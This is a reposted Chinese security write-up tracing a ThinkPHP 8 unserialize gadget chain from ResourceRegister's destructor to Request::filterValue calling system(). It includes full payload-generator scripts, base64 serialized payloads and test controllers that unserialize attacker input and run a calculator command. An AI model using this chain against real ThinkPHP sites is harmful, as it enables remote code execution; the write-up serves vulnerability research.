thinkphp8 反序列化分析

admin 2024年9月3日09:07:50评论23 views字数 12184阅读40分36秒阅读模式

寻找source点

使用php8运行,
composer create-project topthink/think thinkphp8

phpstudy下载php8,它的php8配置了debug3,因此配置与debug2不同,

[Xdebug]
zend_extension = "D:nettoolsphpstudyphpStudy_64phpstudy_proExtensionsphpphp8.0.2ntsextphp_xdebug.dll"
;是否开启调试
xdebug.mode= "debug"
xdebug.remote_handler = "dbgp"
xdebug.idekey="PHPSTORM"
;由remote_host替换过来了,就写本机的就行
xdebug.client_host="127.0.0.1"
;由remote_port替换过来了,调试端口
xdebug.client_port=9001
xdebug.start_with_request=yes
xdebug.log_level=debug

php静态代码审计工具:https://github.com/LoRexxar/Kunlun-M,
php7在解释执行时会生成AST语法树,可以分析语法树来查询相关的source/flow/sink,
初始化数据库,默认采用sqlite作为数据库
python kunlun.py init initialize

(每次修改规则文件都需要加载)
python kunlun.py config load # 加载rule进数据库
python kunlun.py config recover # 将数据库中的rule恢复到文件
python kunlun.py config loadtamper # 加载tamper进数据库
python kunlun.py config retamper # 将数据库中的tamper恢复到文件

python kunlun.py show rule # 展示所有的rule
python kunlun.py show rule -k php # 展示所有php的rule
python kunlun.py show tamper # 展示所有的tamper

扫描漏洞,

python kunlun.py scan -t D:nettoolsphpstudyphpStudy_64phpstudy_proWWWthinkphp8

一个自动化寻找php反序列化链的简单模型
python .kunlun.py plugin php_unserialize_chain_tools -t D:nettoolsphpstudyphpStudy_64phpstudy_proWWWthinkphp8

用于解决在审计大量的php代码时,快速发现存在可能的入口页面
python .kunlun.py plugin entrance_finder -t D:nettoolsphpstudyphpStudy_64phpstudy_proWWWthinkphp8 -l 3

使用 php_unserialize_chain_tool插件,可以看到这里是以__destruct为source开展的分析,

thinkphp8 反序列化分析

利用Kunlun-M寻找php反序列化链,扫出来了一条链,这里的入口是对的,ResourceRegister类的call魔法函数,此插件是根据source的可控变量来分析的,因此入口基本上是没啥问题的,不过此条链调用call_user_func_array的参数有一部分不可控(在分析Nivia师傅的文章之前,没有分析出来,还是自己太菜,一直在想怎么利用到扫描结果中的call_user_func_array函数,最后不得不去分析Nivia师傅的文章,最终发现触发点在toString()),

thinkphp8 反序列化分析

寻找sink点一(失败)

thinkphp8多应用配置,
config/app.php
'auto_multi_app' => true,

在项目根目录上执行,
composer require topthink/think-multi-app
php think build Payload

thinkphp8 反序列化分析

打开thinkphp8调式模式,

thinkphp8 反序列化分析

分析了Nivia师傅的文章后,发现是在parseGroupRule函数中利用toString()最终触发了Validate类中的call,

那么我们先分析一下Validate类的__call函数怎么触发命令执行的,
可以发现这是调用_call->call_user_func_array->is->call_user_func_array,

thinkphp8 反序列化分析

thinkphp8 反序列化分析

开始寻找call_user_func_array能触发命令执行的位置,可以发现存在四处,

thinkphp8 反序列化分析

thinkphp8 反序列化分析

thinkphp8 反序列化分析

thinkphp8 反序列化分析

但是以上四处都参没有完全可控,因为Validate类的is函数中的call_user_func_array的第二个参数被[]包围了,转化为了数组,虽然第一个参数可控,能调用任意类的任意函数,但是传入函数的参数只有一个,并且类型还是数组类型才行,

thinkphp8 反序列化分析

实验脚本如下:
这里尝试的是Arr类的first函数中的call_user_func,
/thinkphp8/app/Payload/model/Shiyan.php,

<?php

namespace appPayloadmodel;
use thinkValidate;

class Shiyan
{
public $validate;

public function __construct()
{
$this->aaa = 1;
}

public function __destruct()
{

$this->validate->aaa([array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
), "open -a Calculator"], "aaa", ['proc_open']);
}
}

/thinkphp8/public/payload.php,访问http://127.0.0.1/payload.php,

<?php



namespace think;
use thinkhelperarr;

class Request
{
protected $cookie = [];
public function __construct()
{
$this->cookie = ["open -a Calculator"];
}
}

class Validate
{
protected $field = [];
protected $type = [];
public function __construct()
{
$this->field = ['ddd'];
$this->type = ['aaa'=>[new Arr(), 'first']];
}
}

namespace thinkhelper;
class Arr
{
public function __construct()
{
}
}

namespace appPayloadmodel;
use thinkRequest;
use thinkValidate;
class Shiyan
{
public $validate;
public function __construct()
{
$this->validate = new Validate();
}
}


use appPayloadmodelshiyan;

$shiyan = new Shiyan();
$payload = urlencode(base64_encode(serialize($shiyan)));
echo $payload;




?>

/thinkphp8/app/Payload/controller/Index.php,访问http://127.0.0.1/index.php/payload/index/exec,

<?php
declare (strict_types = 1);

namespace appPayloadcontroller;

use thinkRequest;

class Index
{
public function index()
{
return '您好!这是一个[Payload]示例应用';
}

public function hello()
{
//$request = new Request();
//$argc = ["s", "open -a Calculator", "system"];

$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open('open -a Calculator', $descriptorspec, $a);

//call_user_func('system', 'open -a Calculator', null);
//call_user_func_array([new Request(), "cookie"], [$argc]);
return '您好!这是一个[hello]示例应用';
}
public function exec()
{
$exec = "TzoyNDoiYXBwXFBheWxvYWRcbW9kZWxcU2hpeWFuIjoxOntzOjg6InZhbGlkYXRlIjtPOjE0OiJ0aGlua1xWYWxpZGF0ZSI6Mjp7czo4OiIAKgBmaWVsZCI7YToxOntpOjA7czozOiJkZGQiO31zOjc6IgAqAHR5cGUiO2E6MTp7czozOiJhYWEiO2E6Mjp7aTowO086MTY6InRoaW5rXGhlbHBlclxBcnIiOjA6e31pOjE7czo1OiJmaXJzdCI7fX19fQ%3D%3D";

unserialize(base64_decode(urldecode($exec)));
}

}

可以发现任意调用函数的第一个参数强制转化成数组,后面调用first函数时的参数就只有第一个可控,所以利用失败,

thinkphp8 反序列化分析

注意这里的is函数的第三个参数为数组类型,

thinkphp8 反序列化分析

thinkphp8 反序列化分析

没办法,此时又不得不去看看Nivia师傅的思路了,他首先想到的是利用php自带的反射型函数,并且第一个参数也为数组类型,不过php的内部类不能被序列化,然后想到了用toString去触发相关函数,
使用方法如下:

<?php
function myFunction($param1, $param2) {
return $param1 + $param2;
}

$reflectionFunction = new ReflectionFunction('myFunction');
$result = $reflectionFunction->invokeArgs([2, 3]);
echo $result; // 输出: 5
?>

寻找sink点二(成功)

寻找调用filterValue的函数,因为这里的第一个参数为&$value,引用的值,

thinkphp8 反序列化分析

存在两处调用filter函数的地方,

thinkphp8 反序列化分析

thinkphp8 反序列化分析

在cookie函数中,$this->cookie可控,getData函数中的返回值就可控,

thinkphp8 反序列化分析

在getFilter函数中,$this->filter可控,返回值就可控,

thinkphp8 反序列化分析

因此在cookie函数中,调用了filterValue函数,其中三个参数都可控,

thinkphp8 反序列化分析

开始调试,
/tinkphp8/app/Payload/model/Shiyan.php

<?php

namespace appPayloadmodel;
use thinkValidate;

class Shiyan
{
public $validate;

public function __construct()
{
$this->aaa = 1;
}

public function __destruct()
{

$this->validate->aaa("qqq");
}
}

/thinkphp8/app/Payload/controller/Index.php

<?php
declare (strict_types = 1);

namespace appPayloadcontroller;

use thinkRequest;

class Index
{
public function index()
{
return '您好!这是一个[Payload]示例应用';
}

public function hello()
{
//$request = new Request();
//$argc = ["s", "open -a Calculator", "system"];

$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);

$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);

echo $descriptorspec;
echo "<br>";
//echo [$descriptorspec];

$process = proc_open('open -a Calculator', $descriptorspec, $a);

//call_user_func('system', 'open -a Calculator', null);
//call_user_func_array([new Request(), "cookie"], [$argc]);
return '您好!这是一个[hello]示例应用';
}
public function exec()
{
$exec = "TzoyNDoiYXBwXFBheWxvYWRcbW9kZWxcU2hpeWFuIjoxOntzOjg6InZhbGlkYXRlIjtPOjE0OiJ0aGlua1xWYWxpZGF0ZSI6Mjp7czo4OiIAKgBmaWVsZCI7YToxOntpOjA7czozOiJkZGQiO31zOjc6IgAqAHR5cGUiO2E6MTp7czozOiJhYWEiO2E6Mjp7aTowO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6OToiACoAY29va2llIjthOjE6e3M6MzoicXFxIjtzOjg6ImNhbGMuZXhlIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9aToxO3M6NjoiY29va2llIjt9fX19";

unserialize(base64_decode(urldecode($exec)));
}

}

/thinkphp8/public/payload.php

<?php

namespace think;

class Request
{
protected $cookie = [];
protected $filter;

public function __construct()
{
$this->cookie = ["qqq" => "open -a Calculator"];
$this->filter = "system";
}
}

class Validate
{
protected $field = [];
protected $type = [];
public function __construct()
{
$this->field = ['ddd'];
$this->type = ['aaa'=>[new Request(), 'cookie']];
}
}


namespace appPayloadmodel;
use thinkvalidate;
class Shiyan
{
public $validate;
public function __construct()
{
$this->validate = new Validate();
}
}


use appPayloadmodelshiyan;

$shiyan = new Shiyan();
$payload = urlencode(base64_encode(serialize($shiyan)));
echo $payload;

?>

调用过程,

thinkphp8 反序列化分析

thinkphp8 反序列化分析

thinkphp8 反序列化分析

thinkphp8 反序列化分析

寻找flow(中间执行流)

我们之前在Shiyan.php中自定义了一个漏洞类,
所以现在我们需要寻找的flow的条件就有以下几点:
1.类可控(调用函数不需要可控)
2.第一个参数可控
3.通过toString调用链触发

存在以下几处toString最有可能符合以上条件,

thinkphp8 反序列化分析

thinkphp8 反序列化分析

这里的build函数中有$rule = $this->route->getName($checkName, $checkDomain);,
�不过$this->route的类型在构造函数已经定义了,

thinkphp8 反序列化分析

thinkphp8 反序列化分析

会报参数的类型错误,

thinkphp8 反序列化分析

thinkphp8 反序列化分析

以上的toString都不能满足条件,只有此类调用的__toString链满足条件,

thinkphp8 反序列化分析

gadget:
payload.php

<?php



namespace think;
use modelconcernRelationShip;

class Request
{
protected $cookie = [];
protected $filter;

public function __construct()
{
$this->cookie = ["1" => "open -a Calculator"];
$this->filter = "system";
}
}

namespace think;
use thinkRequest;
class Validate
{
protected $field = [];
protected $type = [];
public function __construct()
{
$this->field = ['ddd'];
$this->type = ['visible'=>[new Request(), 'cookie']];
}
}

namespace thinkmodel;
use thinkValidate;
class Pivot
{
protected $append = [];
private $relation = [];
protected $visible = [];
protected $name;
public function __construct()
{
$this->append = ["eee" => "yyy.ttt"];
$this->relation = ["yyy" => new Validate()];
$this->visible = ["yyy" => "yyy"];
$this->name = "uuu";

}
}

namespace thinkmodelconcern;
trait Conversion
{
protected $resultSetType;
public function __construct()
{
$this->resultSetType = "iii";
}
}


namespace appPayloadmodel;
use thinkvalidate;
use thinkModelPivot;
class Shiyan
{
public $validate;
public $shiyan_1;
public function __construct()
{
$this->validate = new Validate();
$this->shiyan_1 = new Pivot();
}
}

use appPayloadmodelshiyan;

$shiyan_2 = new Shiyan();
$payload_2 = urlencode(base64_encode(serialize($shiyan_2)));
echo $payload_2;


?>

index.php

?php
declare (strict_types = 1);

namespace appPayloadcontroller;

use thinkRequest;

class Index
{
public function index()
{
return '您好!这是一个[Payload]示例应用';
}

public function hello()
{

//return '您好!这是一个[hello]示例应用';
}
public function exec()
{
$exec = "TzoyNDoiYXBwXFBheWxvYWRcbW9kZWxcU2hpeWFuIjoyOntzOjg6InZhbGlkYXRlIjtPOjE0OiJ0aGlua1xWYWxpZGF0ZSI6Mjp7czo4OiIAKgBmaWVsZCI7YToxOntpOjA7czozOiJkZGQiO31zOjc6IgAqAHR5cGUiO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtPOjEzOiJ0aGlua1xSZXF1ZXN0IjoyOntzOjk6IgAqAGNvb2tpZSI7YToxOntpOjE7czoxODoib3BlbiAtYSBDYWxjdWxhdG9yIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9aToxO3M6NjoiY29va2llIjt9fX1zOjg6InNoaXlhbl8xIjtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NDp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJlZWUiO3M6NzoieXl5LnR0dCI7fXM6Mjc6IgB0aGlua1xtb2RlbFxQaXZvdAByZWxhdGlvbiI7YToxOntzOjM6Inl5eSI7TzoxNDoidGhpbmtcVmFsaWRhdGUiOjI6e3M6ODoiACoAZmllbGQiO2E6MTp7aTowO3M6MzoiZGRkIjt9czo3OiIAKgB0eXBlIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mjp7czo5OiIAKgBjb29raWUiO2E6MTp7aToxO3M6MTg6Im9wZW4gLWEgQ2FsY3VsYXRvciI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7fWk6MTtzOjY6ImNvb2tpZSI7fX19fXM6MTA6IgAqAHZpc2libGUiO2E6MTp7czozOiJ5eXkiO3M6MzoieXl5Ijt9czo3OiIAKgBuYW1lIjtzOjM6InV1dSI7fX0%3D";

unserialize(base64_decode(urldecode($exec)));
}

}

调用过程:
Conversion中的__toString最终能执行到$relation->visible($visible[$key]);,我们只要控制$relation和$visible[$key],就能达到命令执行,

thinkphp8 反序列化分析

thinkphp8 反序列化分析

thinkphp8 反序列化分析

thinkphp8 反序列化分析

thinkphp8 反序列化分析

但是Conversion被trait修饰,是代码复用的一种类型,不能被实例化,因此需要寻找谁使用了它,
�可以发现Pivot使用了此类,并且也只有此类存在__toStrring函数,刚好能触发到toStriing,

thinkphp8 反序列化分析

thinkphp8 反序列化分析

此部分完整调用链:

thinkphp8 反序列化分析

thinkphp8 反序列化分析

thinkphp8 反序列化分析

thinkphp8 反序列化分析

thinkphp8 反序列化分析

thinkphp8 反序列化分析

最终结合sink点,达到命令执行的效果,

thinkphp8 反序列化分析

组合source+flow+sink

ResourceRegister类中有许多触发__toString的点,

thinkphp8 反序列化分析

thinkphp8 反序列化分析

将我们自定义的触发类Shiyan替换成ResourceRegister类中的触发条件,将$option['var'][$val]的值赋值为
�new Pivot(),整条链子就闭合完成,
payload.php

<?php

namespace think;
use modelconcernRelationShip;

class Request
{
protected $cookie = [];
protected $filter;

public function __construct()
{
$this->cookie = ["1" => "open -a Calculator"];
$this->filter = "system";
}
}

namespace think;
use thinkRequest;
class Validate
{
protected $field = [];
protected $type = [];
public function __construct()
{
$this->field = ['ddd'];
$this->type = ['visible'=>[new Request(), 'cookie']];
}
}

namespace thinkmodel;
use thinkValidate;
class Pivot
{
protected $append = [];
private $relation = [];
protected $visible = [];
protected $name;
public function __construct()
{
$this->append = ["eee" => "yyy.ttt"];
$this->relation = ["yyy" => new Validate()];
$this->visible = ["yyy" => "yyy"];
$this->name = "uuu";

}
}

namespace thinkmodelconcern;
trait Conversion
{
protected $resultSetType;
public function __construct()
{
$this->resultSetType = "iii";
}
}



namespace thinkroute;
use thinkmodelPivot;
class Resource
{
protected $rule;
protected $option = [];
public function __construct()
{
$this->rule = "ppp.sss";
$this->option = ["var" => ["ppp" => new Pivot()]];
}
}

class ResourceRegister
{
protected $resource;
public function __construct()
{
$this->resource = new Resource();
}
}


use thinkrouteResourceRegister;
$shiyan_3 = new ResourceRegister();
$payload_3 = urlencode(base64_encode(serialize($shiyan_3)));
echo $payload_3;


?>

thinkphp8 反序列化分析

堆栈如下:

Request.php:1406, thinkRequest->filterValue()
Request.php:1123, thinkRequest->cookie()
Validate.php:836, call_user_func_array:{/Applications/XAMPP/xamppfiles/htdocs/thinkphp8/vendor/topthink/framework/src/think/Validate.php:836}()
Validate.php:836, thinkValidate->think{closure:/Applications/XAMPP/xamppfiles/htdocs/thinkphp8/vendor/topthink/framework/src/think/Validate.php:833-849}()
Validate.php:864, thinkValidate->is()
Validate.php:1700, call_user_func_array:{/Applications/XAMPP/xamppfiles/htdocs/thinkphp8/vendor/topthink/framework/src/think/Validate.php:1700}()
Validate.php:1700, thinkValidate->__call()
Conversion.php:321, thinkModel->getRelationWith()
Conversion.php:306, thinkModel->appendAttrToArray()
Conversion.php:252, thinkModel->toArray()
Conversion.php:366, thinkModel->toJson()
Conversion.php:371, thinkModel->__toString()
Resource.php:96, thinkrouteResource->parseGroupRule()
ResourceRegister.php:51, thinkrouteResourceRegister->register()
ResourceRegister.php:69, thinkrouteResourceRegister->__destruct()

总结:
1.思路很重要,构造数据不是那么麻烦,还是需要熟悉php各种魔法函数的触发条件
2.分析复杂的利用链时,可以先自己尝试去分析,遇到解决不了的,才去看师傅们的思路,可以拆分多个步骤来分析
3.如果利用AST去分析应该可以节省大量时间,不过Kunlun-M的反序列化插件没有仔细的说明,需要去了解此插件利用AST的自定义查询语句,才能去自定义我们想要的查询功能,如java的静态分析工具tabby或者时codeql的功能

来源:【thinkphp8 反序列化分析 - 先知社区 (aliyun.com)

原文始发于微信公众号(船山信安):thinkphp8 反序列化分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月3日09:07:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   thinkphp8 反序列化分析https://cn-sec.com/archives/3121761.html

发表评论

匿名网友 填写信息